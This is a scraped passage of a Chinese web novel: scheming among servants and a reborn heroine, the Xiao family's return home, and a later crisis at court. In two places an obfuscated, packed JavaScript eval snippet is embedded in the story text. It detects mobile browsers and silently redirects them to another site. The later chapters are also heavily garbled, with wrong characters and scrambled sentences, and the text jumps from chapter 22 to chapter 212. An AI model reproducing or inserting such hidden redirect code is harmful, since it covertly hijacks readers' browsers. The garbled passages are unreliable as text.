安乐却先一步拿出块破布,塞进他的嘴里,冷笑道:“好呀,你这小子,找人做戏哄骗到太原郭氏头上来,我就让你知道下厉害。” 杨杲双目瞳孔一缩,剧烈挣扎起来。两个仆从险些按不住他。 安乐站起身,挥手道,“好好找找,这小子与人勾结玩做贼拿脏的好戏,除了我们这一回,之前的好处应该也拿了不少。” 除了看押的两个,其余几个仆从当即就在房中搜起来。杨杲在客栈所住不过一个单间,豆腐点大的地方,除了木床木桌,就只有一个木箱,仆从打开一看,里面不过几件粗布衣裳,郭家就是最下等的仆从也看不上。 当即有人悄声和安乐道:“是不是弄错了?” 安乐脸上笑没了,瞪了仆从一眼,自己上前查看,他绕着床走了一圈,蹲下身去看床底,又叫仆从将蜡烛拿近些。仆从手里举着蜡烛,趴着看床板底下空无一物,摇了摇头。 安乐却突然笑出来,笑骂道:“你真是白长一双眼,去看那根床脚柱子。” 仆从费力将床拖开些,发现贴墙的一根床脚上挖了个洞眼,外面还垂着根绑树枝的细绳。 安乐见状大喜,刚才搜不到东西,他还觉得此事难以收场,现在却是心头大定。 “什么东西藏的这么好,”他得意笑了两声,将细绳抽起,很快就从床脚里拉出三根拇指粗细的黄金。他眼睛一亮,道,“好个小贼,果然藏了贼赃,来,哥几个,好好招呼这烂心黑肺的东西,竟把主意打到我们郭家来了。” 仆从几个进门的时候还知道分寸,一看真搜出东西,立刻不客气,对着杨杲一顿拳打脚踢。杨杲抱着自己的头,身上不知挨了多少下,他嘴里还塞着破布,也无法叫喊。不知过了多久,身上的骨头似乎都被打散架了,才听到安乐道:“行了,教训一顿,也不能闹出人命。” 他说话时口气也是笑的,杨杲睁开眼,在昏沉的烛火中盯着这个人影。 安乐手里拿着三根金条,得意不已,对着杨杲的肚子又踹了一脚,“让你知道小爷的厉害,以后听见郭家躲远些,别硬凑上来,还玩贼喊捉贼,呸,下作东西。” 他招呼一声,仆从几个跟着走了。出门时还有人夸着安乐慧眼识人,又说等回去吃酒。 杨杲蜷缩在地上,一动不动,过了不知道多久,蜡烛都快烧灭了,才有人走进来,正是客栈的小厮,他大惊失色,赶紧过来扶起杨杲,“发生什么事?我去叫人。” 杨杲睁开眼,半张脸已肿的老高,他拉住小厮道:“别惊动人。” 小厮急道:“到底谁打得你。” 杨杲道:“郭公子的随从。” 小厮瞪直了眼,面色既惊讶又有一丝惶恐。 杨杲道:“不是郭公子的吩咐。” 小厮将杨杲扶到床上坐定,见屋中狼藉,箱子被翻得乱糟糟的,几件衣服都被扔地上,他赶紧去箱子里翻动,找到一瓶伤药,过来给杨杲敷上。 “都没一块好肉了,你说的那人我知道,是安乐,刚才我在内堂没走,安平就在郭公子跟前没走开过,准是安乐没错。不如咱们现在就去找郭公子,告他一状。” 杨杲面色沉沉,摇头道:“不行,我今晚就该走了。” “为何?那贼又不是我们安排,安乐那是妒忌你受郭公子赏识,日后表现胜过他,这才有意害你……” 杨杲道:“我藏着的金子被他发现了。” 一句话就让小厮脸上忿忿不平全消失了,脸色骤然变得灰白,“这、这……本就是我们的金子,他如何能拿得?” 杨杲道:“就凭他是太原郭家的豪仆,就凭我们说不清金子来历。” 小厮如丧考批,“难道这亏吃定了,实在可恨,早知当日去做匪贼,也比在这儿受闲气还被人抢金来的好。” 杨杲动了动手脚,站起身,将地上的衣服收起,道:“我怕那个安乐再使坏,今夜就要走。” 小厮陪着他收拾,还有些不甘道:“白日见郭公子,我就想为你说话,那时若让他收留下来,现在未必会有这事。” “过犹不及,”杨杲受了一身皮肉伤,憋着一肚子的气,却仍能强压着怒火,冷静道,“像太原郭氏这样的出身,他就算要招纳,也不会听你这种身份的人,说多了反而坏事,算了,现在再说也是无用。趁现在无人发觉,我还是快走。” 小厮愁眉苦脸,出去看了一圈回来,帮杨杲拿了刚收拾的包袱,送他从后门离开。两人到了外面,小厮说你身上有伤,我再送你走远些。 夜深人静,街上无人,两人挑僻静小路走着,小厮见四下无人,道:“杨杲,如今你投靠高门失败,金子也没了,在客栈里整日吃苦受气,干脆我们还和上次一样,找个肥羊……”他声音轻下去,做个手刀的动作。 原来这两人在穷困潦倒之时在野外劫杀过一个过路客,金子就是从此人身上所夺。杨杲聪明,计划到光州来找个活路,最好能接触到南来北往的贵客,有机会能攀附上世家高门。 要说客栈遇贼的事,倒真不是他们安排,但他们两个在客栈待了小半年,对附近三教九流早就熟悉,那毛贼正是他们有意放进来,后来也是杨杲去找着人,威胁着讲失物讨要回来,杨杲拿刀划伤自己,就是为了把握住这个机缘——太原郭氏。 这也是杨杲被殴打抢金后不敢声张的缘由,身上不干净,自然经不住查。 “不是说了这件事再也不提,”杨杲打断他道,“杀人夺财岂能长远,上回是我们运气好才无人追究,行了,若不想沦为匪盗日后被官府杀了,这事就要烂在肚子里,郭家这次是我们运气不好,郭公子是个好说话的,没想到身边却有这等刁仆,这仇我先记下了。” 小厮摇头道:“就算记着又能如何。” 杨杲道:“天下又不是只有郭家这一个出路。” 小厮闻言又是一阵长吁短叹,沉默走了几步,他忽然又道:“我想起一事,也不知是不是有用,那个安乐之前也没什么异常,后来去了一趟肖家小娘子的屋里,出来的时候有些魂不守舍的,随后便去找人打你。” 杨杲猛然站住脚,“什么?” 小厮道:“兴许是我想错了,那小娘子才多大。” 杨杲顺着他的话点了点头,但眉头皱得死紧,没有半点放松。 这事说起来有些匪夷所思,他脑中浮现出那小娘子点漆分明的一双眼,突然就有种玄之又玄的直觉,此事或许真与那小娘子有关。 杨杲向来理智,甚至理智到了近乎冷酷的程度,他摇头将那丝异样抛之脑后,道:“你就送我到这儿吧,我找地方等到天亮就出城,等我找着落脚的地方,再与你联系。” 小厮将包袱递过去,“对了,前阵子我听同乡人提过一句,说齐王正招咱们这个岁数的随从,要识字会武的。要不你去试试?” 杨杲点头,示意自己知道了,将包袱背在身上,身影渐渐消失在夜色中。 —— 肖稚鱼教潮落说那一番话,有意让安乐听见,等人走后,潮落催促着她上床睡觉,肖稚鱼闭上眼心里却诸多杂念,一时间根本睡不着。 这两日她在旁看着,郭令身边两个随从,安平更受倚重,安乐做的都是些不紧要的事,况且今日犯错的正是安乐。肖稚鱼在后宫那些年,对那些借力打力的法子最为熟悉,思来想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12564937|133062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,身边能用上的只有安乐,她就试了一试。 饵已丢下,就不知鱼儿是否能上钩。 肖稚鱼心想,就算不能立刻见效也是无妨,杨杲想进郭家,给他先埋个钉子,安乐虽然瞧着和气,但她能看出,那不过是豪仆做派。这样的人,若是心存不对付,手段才叫人难受。 日后时间还长,她再想其他法子,让他在郭家为奴为仆,一辈子都翻不了身,出不了头。 肖稚鱼想着,轻笑出声,这才困意上来,睡了过去。 第二日清晨,众人吃着早饭,郭令吩咐安平,“去将那个杨杲叫来。” 安平出去片刻后回来,道:“杨杲夜里走了。” 郭令讶然:“走了?去了何处?” 安平道不知,只是问了客栈里的人,都说他给老板留了信,说有急事就走了。郭令摇了摇头,没说什么,在座的人却都明白他有惋惜之意。 安乐道:“这人倒是奇怪,昨日还赶着露面,今天就不见了,莫非身上有什么事?” 安平看了他一眼,安乐笑嘻嘻的,转而去叫仆从送茶水进来。 肖思齐若有所思,朝肖稚鱼看来,却见她神色诧异,他暗笑自己多心。 肖稚鱼此时是真有些意外,她没看安乐,心里却更加高看他一眼,还以为在他心里扎根刺,要等日后才会慢慢发作,没想到这么快他就能解决杨杲。昨天那情形,要说杨杲无意太原郭氏主动放弃,那就是笑话。 郭令早上问过一句杨杲后就不在意了,杨杲是有几分人才,但也没到他需要去刨根问底的地步。 这日上马车时,安乐跑到肖稚鱼和肖如英的车前,早叫人备了茶水糕点等物,殷勤送过来,他笑地甜,嘴里说的更甜,哄地肖如英都笑了,拿了铜钱赏他。 等安乐走后,肖稚鱼让潮落将昨日的香找出来。 她昨夜不过是找借口让安乐听见那些话,对那盒香并不在意,如今将巴掌大的木盒拿在手里。 肖如英好奇问道:“这是什么?” 肖稚鱼笑了笑,将木盒打开,一股如如兰似麝的香味传出。 “咦?这香从未闻过,”肖如英对香料也是有见识的,凑近仔细看,“还有几层香,倒是别致。” 肖稚鱼细细品了一下,心中悄然一叹:倒是小瞧了安乐,这分明是贵妃最爱的香,里头有麝香、龙脑香,甲香种种,是极名贵的方子,可谓是价比千金,寻常仆从哪能用此等香料。算算日子,这香才调出没多久,在长安也是贵重货,安乐必是背着郭令偷偷克下。 “好大胆。”肖稚鱼评论。 这样胆大心黑的人,难怪能行动这么快,让杨杲都不见了。 肖如英奇怪看她一眼。 肖稚鱼将木盒关上,塞到她的手里,“送给阿姐。” 肖如英摆手道:“这么好的香,你拿着就好,给阿姐做什么。” “这样的香,最是美人适用,”肖稚鱼笑道,“原本就是借花献佛而已,阿姐收好,若日后有人对阿姐提起这盒香,阿姐记着,对这人要防着些。” 肖如英对这香一闻就觉得倾心,也不客气,当即收下,听肖稚鱼这样说也没太放在心上。 碍眼之人不见,肖稚鱼心情大好,一路上妙语连珠,逗得肖如英和潮落笑声不断。 马车从客栈离开,却不见旁边巷子里冒出个人来,正是夜里走的杨杲,他一夜未睡,想来想去心头仍是发堵,原本就差一步就能进太原郭家,他觉得以自己的本事,日后要得到重用出头并不是难事。正是这点不甘心,他清早又回到客栈附近,正看见郭家与肖家兄妹离开。 肖稚鱼上车之时,安乐上来扶了一把,他身子微躬,不知说了什么,肖稚鱼噗嗤笑了一声,小脸雪□□腻。 杨杲呆了一呆,只觉得这小娘子实在漂亮,跟戏文里说的仙童仙女似的,长大还不知会是何等姿容。旋即又生出一股怒来,他没有凭据,但就是觉得她与昨晚的事脱不了干系。他偷盯着肖稚鱼狠狠看了一眼,转身悄悄离去。 22. 第二十二章 三月十七,肖家兄妹一行抵达东郡。 正是初春时节,天气转暖,处处草木勃发,绿意盎然。 封丘县城外,郭令正与肖思齐话别,他从登丰县一路送到这儿,再跟着去肖家却已是不适合,今日一早就出言告辞。 肖思齐与他说着话,见他眼角余光频频打量马车,知道他心意。便叫潮生去请肖如英。 郭令感激地拱手,“安贤兄。” 肖思齐拍了拍他的肩,道:“日后都是一家人,不用见外。” 肖如英听潮生问话,有片刻的犹豫,可她到底是直爽的性子,想着一路同来,也没什么需要特别避忌的,当即整理衣裙,从马车下来。 肖稚鱼好奇探出头望去。 只见郭令儒雅温和,肖如英窈窕貌美,站在一处如画般悦目。 肖稚鱼翘起唇角,她虽不知郭令日后会如何,但看他一路上处处体贴,与兄长相处融洽,比前世郭二郎不知强了多少。虽说郭令在族中并不受重视,肖稚鱼觉得这并非坏处。前世她见过阿姐落寞寂寥的样子,纵然日日笙歌,斛筹交错,也非真正欢乐。倒是这些日子,肖如英偶尔目光追逐郭令,眸中藏着几分娇羞与情意。 肖稚鱼撩开车帘看了片刻,肖如英与郭令并未多说,很快就转身回来。 郭令带着侍卫仆从离去。 肖思齐则带着肖如英姐妹两个入县城。 城门口站着十来人,为首是位四十来岁的中年男子,身形瘦长,面容古朴,身后还跟着几个神色各异的青年,年纪小的十六七岁,年长的看着二十出头,几个奴仆围在一旁。 肖思齐的马车在前,很快就被人拦下,有人上来问:“可是登丰县肖家?” 潮生应了一声,肖思齐推开厢门,那人上下看了好几眼,面露惊喜道:“对了,这就对了,三伯父,这不就是安贤,可算是回来了。” 男子快步上前,肖思齐已下车来,对着老者恭敬行礼,道:“三伯父。” 中年男子见肖思齐气质沉稳,举止风雅,欣慰点头道:“好,几年不见,瞧着倒越发成才了。”说着目光一转,又看向后面的马车。不等老者发问,肖如英带着肖稚鱼下车行礼。 他露出和蔼笑容,赞了一句,“你将妹妹照顾的很好。”摆了摆手,对姐妹两道,“风还大,你们别站着了,等回去再说。” 旁边几人见肖思齐兄妹出去几年,没有家族庇佑,半点不露落魄,看起来鲜润亮丽,还胜过本地族人,心中暗自称奇,等叙旧过后,就催促着上马车回去。 肖稚鱼刚才下车时将众人扫了一圈,除了中年男子之外,其余人一时也记不清,便在车里问肖如英。 “当年离开东郡的时候你还小,什么都不记得,东郡族中的事我还是详细和你说说,省得你什么都不知道,露了笑话。” “我们的祖父曾任左司郎中,三十多年前宫闱大乱,朝中局势复杂,祖父怕受牵连,为了保命辞官回到东郡,后来等陛下登基,朝廷安稳,祖父已过世,大伯父有意出仕,他明经科考了两回都没过,便想借着祖父当年的旧人情举荐为官,四处托人,才在县中为吏,得上峰赏识,多次提拔,如今官至司勋员外郎。” “至于二伯父……”肖如英嘴角往下撇了一点,道,“做了县丞十年,是个严厉的性子,前两年生了场重病没救回来。如今东郡族中由三伯父主事,他并没有出仕,但听闻学问是很好的。我们父亲原是排行第五,”肖如英长叹一声,语气低沉,“只是走得太早了些。” 肖稚鱼年幼时父母接连病亡,她记忆中也都模糊了,不愿勾起肖如英伤心,便岔开话题又问些其他族中的事。肖如英一路上将自己所知拣重要的说给她听。 肖稚鱼听了许多,记着几处关键,祖父这一支有四子一女,大伯父肖明海在长安为官,东郡肖氏原由二伯父肖明河做主,现在二伯父死了,则交到三伯父肖明川手中,他们兄妹曾经离家就是在二伯父掌家时期,肖如英出门在外不能直言长辈不是,只婉转说二伯父是严厉性子。 三伯父是刚才来城门迎他们的中年男子,瞧着对他们颇为亲近。 四姑姑是祖父唯一的女儿,远嫁河西,每年与族中只有书信往来。 肖稚鱼他们的父亲是上一辈里最小的一个,但过世的也最早。 肖如英说了许多话,这时马车却慢了下来。东郡地处中原入东之要道,历代驿道皆通往此处,因而十分繁华。肖稚鱼掀开帘子,见路旁商铺紧凑,人流如梭,十分的热闹,孩子嬉笑玩闹,往来跑动,马车不能快行,只能慢下来,等路过这条街,才又快起来。 等走到大街东头,拐弯入巷,来到一座宅邸面前。 肖稚鱼下车来,抬头看向肖府,只见府门宽阔,宅邸占地极广,从门前就可以望见里面屋舍楼宇,竟是有大族气象。 肖如英悄悄道:“这是祖父在世的时候修建,你忘了,小时候还在这儿住过。” 肖稚鱼两世都经过了,那些更早的幼年记忆早已模糊不清,她笑笑道:“好像是有些模糊印象。” 三伯父下车来,招呼他们兄妹进府。 肖家内院极大,有假山流水,草木葱茏,院子分置各处,层次分明,错落雅致,足见当年建造时的用心,但肖稚鱼眼力过人,早就看出有不少地方老旧磨损,却没有得到精心修缮,只在最显眼的位置略作修补。从这一点,就看出如今肖家衰弱,远不如建宅当年。 三伯父肖明川在堂屋中坐下,招呼肖思齐三兄妹坐下,仆从奉上热茶。刚才在城门前寒暄,只寥寥说了几句,此刻就可以问的详细些,他问三人这些年生活,又问他们平日看什么书学了些什么。 肖思齐一一作答,还有些话则由肖如英来答。 肖明川颌下须长三寸,他抚须面露微笑,原本担心三兄妹在外讨生活不易,未曾好好向学,学些乡野间习性,可现在观察了片刻,觉得在外经一番历练,肖思齐比同龄人多一份干练,肖如英肖稚鱼姐妹落落大方,又生得好样貌,比之世族出来的娘子也不差。 他招了招手,让肖稚鱼到面前来,笑着问她,“兄长平日对你可有责骂?” 肖稚鱼笑吟吟的,声音清脆,“长兄如父,阿兄便是责骂,也必是我有了差错,所谓爱之深责之切,只要我日后改好了,阿兄也会奖赏我。” 肖明川笑道:“赏罚分明,治家严谨,看来安贤已明其理,你这两个妹妹都是是聪慧明理的,小娘子比不得郎君,教养不可太过严苛,”又对姐妹两道,“你们兄长年纪不大,这些年尽力照顾你们,为家中遮风挡雨,便平日有些不足之处,你们也该多体恤,兄弟姊妹便是这样,打断骨头还连着筋,你们心往一处,才能支撑起门楣。” 肖思齐站起身,与肖如英肖稚鱼一起行礼。 肖明川摆摆手,让随从上前,给兄妹三人送了见面礼,每人一块上好的玉石。他道:“也不知你们喜欢什么式样,就从族里挑了这几块玉,你们拿去自己找人雕。” 这三块玉石比巴掌大,只看侧面就知玉质极好,这份礼着实贵重。 肖思齐坦然自若收下,也叫肖如英姐妹拿好。 肖明川叫人领姐妹两个去后院,留下肖思齐和其他几个族中年轻一辈说话。 肖家后院的小厅里,坐着两个十五六岁的小娘子,一面吃着茶一面聊着天,这时婢女笑着领肖如英肖稚鱼进来。两人立刻停下来,扭头看过来。 肖稚鱼从未见过东郡肖家族人,心下好奇,见这两个小娘子容貌肖似,都是鹅蛋脸,丹凤眼,五官标致,其中稍年长的脸颊上一对梨涡,笑得有几分可亲,年纪小些的则是眉眼更艳丽凌厉些。 婢女在进门前向肖稚鱼姐妹轻声提点,这对姐妹,年长的叫肖秀旬,年幼的叫肖秀邻,是三伯父肖明川的女儿,因她们之前三个皆是儿子,肖明川对这对姐妹极为宠爱。 “如英姐姐?”肖秀旬迎上来,也不见外,拉着肖如英的手道,“姐姐一进来,把我眼都照亮了,难怪父亲总念叨着要你们回来。” 肖秀邻则牵起肖稚鱼,道:“呀,你离家的时候才多大,小时候我还带你去街上玩过,你可还记得?” 肖稚鱼当然不记得,不过她最是会装傻充愣,对着肖秀旬肖秀邻笑道,“两位都是我姐姐吗?怎么像画里出来的。” 肖秀邻噗嗤笑出声,赶紧招呼婢女将糕点拿出来,有刚蒸好的白糖糕,她用帕子净手之后,拿了一块,掰开吹凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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肖如英自然记得,她生得早些,取名如英,同年二伯父家生了个女儿,取名如梦,两人年纪最接近,小时候也是相伴过。只是后来父母病故,兄长肖思齐带着他们出去单过,肖如英恨二伯父有意打压他们这一支,避而不想旧事,对这位堂妹也忘了大半,如今见着才又重勾起回忆。 肖如梦进门来,对着肖如英福身一礼,道:“刚才在门外就听见里面热闹,进来才知道是姐姐来了。” 肖秀邻挑了一下眉,道:“前日就让婢女去请过六姐,六姐说身体不适,我们这才不敢去打扰。” 肖家这一辈娘子之中,除了已出嫁的,还在闺中的几个,肖如英排行第五,肖如梦第六,肖秀旬和肖秀邻分别是□□,肖稚鱼则排行第十。 肖如梦淡淡道:“我也不知今日是如英姐姐回来,就算身上有些不舒服,也是也要来迎一下的。” 听她们姐妹说话口气有些不对付,肖如英便主动打了个圆场,道:“你来的正好,刚才我还想问六妹去哪了,正是念着你就来了,可见白天真是不能念人。” 潮落机灵的又拿出个香囊,和刚才给肖秀旬和肖秀邻的一样,也给了肖如梦一个。 她接到手里,道:“难为姐姐还记着我。”说着就褪下手上一只玉镯子,道,“这是我在长安买的,还衬肤色,这些年长安妇人娘子都爱带镯,我身上也没别的好东西,这个还算拿得出手,姐姐别嫌弃。” 话说到这份上,肖如英当然不能嫌弃,笑着收下。 肖秀邻道:“六姐可别偏心,这儿还有个妹妹呢。” 肖如梦看过来,她眸色偏淡,是琥珀色的,看着人时仿佛有几分情意似的,姿容甚美,她随手摘下头上的珠花摘下来,送给肖稚鱼,“来的时候没准备,这个我也是头回戴……” 肖稚鱼不等她说嫌弃什么的话,抢先谢过。她瞧着这三位风格迥异的堂姐,对东郡肖氏倒是有了一层新的认识。 另一边,肖明川已经将肖思齐单独叫去书房说话。听肖思齐说已经与太原郭氏说亲,他先露出讶色,等听明白郭令情况,又露出惋惜之色,“先前你书信回来让族中帮着相看适婚的士族子弟,我急着叫你们兄妹回来,其实正是有一桩天大的好机缘在面前,没想这么短的时间,你这儿就定下了。” 肖思齐先前也猜到些,笑着摇了摇头,出于好奇问道:“什么机缘?” 212、第二百一十二章 慕倚都是亲信之人。众人皆是静了 广平王突然而至,带来皇帝被谋害的消息,大营中只有在座几人知道,他们受豫王重用,乍惊之余,自然是要为豫王打算。皇帝仓促驾崩,并未立太子,叛军作乱,天下忧惠之际,若让小儿继位,总令人不安 且太上皇尚在,那位是什么德行大家心里都有数,夺子妻悖人伦,委国柄于宵小,叛军能有如此威势,也全是太上皇纵容所致。 皇帝几个儿子,广平王尚算聪慧,但年纪尚小、,其余几个更是童子,若要从中桃选继位,上有太上皇,又有豫王这样的年轻强力的皇叔,主弱而臣强,这样的局面一一纵观史册,有几个落得好下场 众人心思各异。 王府幕僚严全规抚须,率先开口道:“殿下,事已至此,匆匆赶回去也难以挽回局面,广平王逃出之时是被金吾卫追赶,若沈氏与刘轩礼联手,京城就更不能去了。” 听他开口,其余几人纷纷跟着谏言 “陛下驾崩却未发丧,他们所图非小,殿下不可安动,当以潼关之险统领大军,将陛下遇害之事公布天下。" “殿下为陛下之事悲痛,兄弟情深令人动容,但眼下局势危急,还是该考虑大局。” 他们你一言我一语地劝说,都要打消李承秉回京的念头 李承秉浑身寒气如有实质,目光在众人脸上扫过,道:“我已决意回去,你们不用再劝。" 他这一句话落地,众人立刻便住嘴。这些年下来,谁还不知豫王脾气,向来说一不二,定下的事再难都要做 李承秉对严全规道:“陛下之事理应尽快告知天下,你们先商量一下。 严全规连忙应下。王应青还要再劝什么,一旁有亲兵悄悄拉了他一把。 李承秉又与众人吩咐几句军中安排,便让亲兵先去准备,随后将几位领兵的将军叫来做安排。自到了关,李承秉有的提拔有的打压,早已将大权牢牢握在手里李承秉对众将军言明京中有变故,若无他点头,来旨一律不应,众人面面相觑,再看他面无表情声音冷洌,分明是怒气滔天强压着没发,便无人啰嗉纷纷领á等人都去了,李承秉坐着未动,还在思索安排是否有遗漏,拿起一旁杯子,茶水早空了,他将杯子狠狠损在地上,余光见到王应青还没走,“还杵着做什么? “君子不立危墙之下,殿下何须亲身犯险,太上皇退位之时对殿下颇有微词,现在定是要重掌朝堂。殿下若是坚守演关,有重兵在手,任谁都不敢轻动,只等将真相大白天下,再召各地勒王,徐徐图F应青知晓他正在火头上,却不得不硬着头皮劝阳道:天下也可定。可现在急着“广平王逃得合皇,朝中到底怎么回事也说不清,我总得去看看,高京之前我去过一越兴庆官,太上皇年老体衰,临朝快草朝钢再无可能,我要菜自去看一看,朝中还有装相等人在,去的时候我还会带上陈德义,陈年礼难道还真救动手?”李承冷停 陈德义是陈轩礼长子,此次跟着李承秉来潼关,还是自己请命的。 王应青道:“陈轩礼跟随太上皇多年,忠心耿耿,殿下上次能说服他已是不易,便是殿下带着他儿子,未必就能相安无事。 李承秉皱了下眉,道:“世上岂有事事算尽,没半点艰难险阻的?" 王应青见劝不动他,叹了口气,道:“殿下坚持要走这一趟,是为了王妃吧? 李承秉警他一眼。 王应青继续道:“殿下苦心筹谋多年,可不是拘于儿女情长的人,若是担心王妃,不如由属下代劳,沈家要拿的人是广平王,不该对王妃下手才是。 王应青说的这话原为打消李承秉的念头,哪知李承秉听了眉心越发紧皱,语气不善道:“行了,照我吩咐办事。 王应青离开帅K,险上乃是一险忧0传神,在军营中转了一围,他找上正在忙司的产全规,网域了一声严先生”,严全规笑道:“我文道你想说什么,我与限下已商量过,现在预军营中出了事,康掘海死后两个儿子必有所争斗,若是我价(现在急着政找们有利。既然阵前并无十万火急之反让他们同仇敌忾,一致对外,还不如暂缓一缓,两虎相必有一伤,下离开几日影响不了大肩 “此去长安多凶险,就算是为了王妃,殿下难道就要以身犯险?" 严全规喟叹一声,“刚才帐中你不在,说起王妃安危不知,殿下的脸色有多难看,这个时候,还是少说几句,照殿下吩咐就是 王应青见他也是如此说,也只能作罢。一个多时辰,军中名处都已安排好,随从及亲兵备马整装待发,李承重只带了三十余人,王应青严全规等人都不放心,李承单切摆手道:“此去兵贵神速不直张扬,若长安真有所准备,三十人与三百人又有向区别,”说罢就带着人启程路上快马加鞭,风猎猎吹得衣袍作响,李承秉叫陈德义到身边,问他禁军之事 陈德义道:“我父亲对太上皇忠心耿耿,但殿下放心,他也绝不会伤害殿下,只是要提防沈家矫旨。 李承秉脸色沉沉点了点头。 Samoa ,一行人如闪申疾驰在路上,他付着从小与李承毒的情,壮着胆子问道:“下不管不顾,就为了干妃大的?不能等情况分明再说? 陈德义只觉得他马越骑越快,一行人如闪电疾驰在路上。他仗着从小与李承重的交情,壮着胆子问道:“殿下不管不顾,就为了王妃去的?不能等情况分明再说? 李承秉脸上全是冷峻肃杀之意,咬牙道:“你懂什么。” 他太阳穴鼓胀,胸口全是烦躁与最烈,早知有此变故,他绝不会把肖雅鱼留在长安。前世他成了弃都而走地下她的首君,以至于今生她也不政信任他,一想到若是就此分隔,或许又要重蹈前世覆辙,他如何还坐的住王应青问的不错,江山美人,孰轻孰重-一两个他都要。 无论如何,都要把肖稚鱼带到身边才行。 213、第二百一十三章 肖雅鱼坐在卧房圈椅上,和最春说者话。方才被金吾卫追上,最春吓得肝胆欲裂,没想到峰回路转,却又被送到此处。她是又惊又喜又忧,可想到沈玄这番举动背后的意思,她又为肖稚鱼抱屈。 夜深露重,院外有小婢扣门,景春起身出去查看,原来是观主妙清子遣人送来单衣鞋袜,熏香玩器等物,另有新鲜水果及汤药一碗。 景春见东西多,便让两个婢女拿进来。这两个婢女都是十四五岁上下年纪,长相清秀,举止文雅,颇有大家风范。 肖稚鱼将两人叫到近前,问她们年岁来历。 两个婢女事先得了吩咁,知道眼前女子身份不同,要细心同候,听她问话便老实回答。两人一个是附近农家子,一个是官宦人家破落后来观中,一面学道一面则充作婢女 肖稚鱼问了几句,便打发两人去了。 景春将汤药端来,道:“这是观主特意吩咐熬的安神汤,怕你刚才这儿晚上睡不好。 肖稚鱼可不敢吃来历不明的汤药,叫景春偷偷倒了。她翻了翻送来的鞋袜衣裳,道:“这位观主举止品味高雅,不是修道出家的地方能养出来,出身该是不凡。 景春道:“我看观主与那姓沈的相谈甚欢,也不是什么好东西。 肖稚鱼道:“明天先清她来说说话吧。” 景春端了温水来给她洗脸擦手,叹了一句,“王妃真是沉得住气,心细如发,我这心到现在还砰砰乱跳着呢。 肖稚鱼无奈苦笑,她经历过更危险境地多的是,便是绝境中都要想方设法寻一条生路出来。 洗激过后睡下,这夜肖稚鱼辗转反侧,到了后半夜才睡,第二日清早被观中做早课的声音吵醒,用过早饭,最春去请观主。出小院的时候守门的卫士没有阻拦,只是有一个跟在她身后在观中走动。 景春路上拦住女冠相问,那女冠见她身后跟着的卫士,不敢总慢,忙领路去找观主。 妙清子听见肖稚鱼请她过去,眉头警起,在房中踱步走了几圈,女冠觉得奇怪,问道:“观主昨夜吩咐这是位贵客,既贵客请您过去,为何还犯难了? 妙清子道:“正是卖客才叫人头痛,我出家多年,母亲过山,家里关系早就谈了,这几年多万沈家服律,你是设瞧见那女子,生得跟仙女似的,沈家君带着金吾卫将她送来,说过几日计她修行出家,这般行事,只让我想起一个人来。 女冠满脸惊诧,“贵妃? “要了断过去身份,那女子身份定有大麻烦,我却不想去趟这个浑水。 景春等了一阵,女冠畑如出来,告诉她观主出去访友了。最春自是不信,可女冠咬定了不松口,任最春如何说,只赔着笑脸说话。如此一来,景春只能回去覆命 此后两日,观中对肖稚鱼照顾周到,清晨小婢剪了新鲜花枝送来,吃食汤水果品一应俱全,只是妙清子却躲了两日不曾来过小院。 肖稚鱼心想这位观主果然是精明之辈,轻易难以动摇。她白天走出小院,卫土就跟在身后,在后舍花园中走动无碍,倘若要穿过角门去前面的三清阁和成台,卫士便拦着不让 墙之隔,能听见客堂和道殿有香客往来的声音。 景春私下对肖稚鱼说,若是写在纸上掷到墙外,或许能叫香客看见相助。 肖稚鱼轻轻摇头,“那几个卫士十分警惕,难有机会,就算侥幸成功,笔墨落于生人手,变数太多,被洞灵观发现的可能更大,万一不成,我们处境反而更为艰难。 景春道:“还有一个法子,香客来的最多的时候,奴婢叫喊着冲出去,叫那些香客知道王妃你在这儿。" 肖稚鱼拉住她的手道,“我身边只有你一个陪着,若要硬闯出去也该我来,让他们有所忌讳,不过这是下下策,山穷水尽的时候再用这个法子不迟。" 景春听出点别的意思,忙问道:“王妃还有更好的法子?" 肖稚鱼环顾四周,窗户半掩,能看到外面是否有人,她声音放轻了些说,“在东市的时候我让巧儿她们先走,一来怕路上人多拖累,二来让她们去给阿兄递消息。 景春诧异道:“王妃已料到会如此?“ “哪有这般神异,”肖稚鱼苦笑,“只是习惯事无大小,须留转圜余地而已。 “可郎君能如晓你在这儿吗? 肖稚鱼不假思索道:“别人不能,阿兄一定有本事能找到。” 肖雅鱼被图在洞员现中,沈玄忙得脚不活地,在兴庆宫与朝往来奔波,他面对外诺称皇帝实发恶疾一病不起,一面与京兆几大世家私下商议相立太子之事,这场变放令朝野内外置惊不已,比先前太上皇退位更实然,但禁军设有异动,目宏行事有太的谕旨,也合规矩。 朝中气氛紧张,官员正觉为难,偏在这时裴相请病不出,令朝中形势越发诡谲难辨。这日沈玄回到家中,被什小以清到书房,院子里路着两个传卫。沈么看了一眼,脸色黄况,独门迈入书房,沈者坐在书案前,验上怒气法牌,见到地便发作出来,"两日前物极跑了广平王,却巴巴的胞除工好惠到间灵观,全然不理轻重援急,你是要将家族言 Tt2 沈老做事说话一向都是慢悠悠的,符合养身之道,如此雷霆之怒却是少见,书房外守着的小厮吓得噤若寒蝉。 沈玄神色自若,淡淡笑道:“祖父息怒,金吾卫搜了两遍,没料到还是让广平王跑了,兴许是他运气好,我去了也是无用。 沈老道:“现在最是紧要的时候,一步都不能踏错,那个女人既然知道内情,就该早点处理了。 沈玄道:“我这就安排她尽快出家。 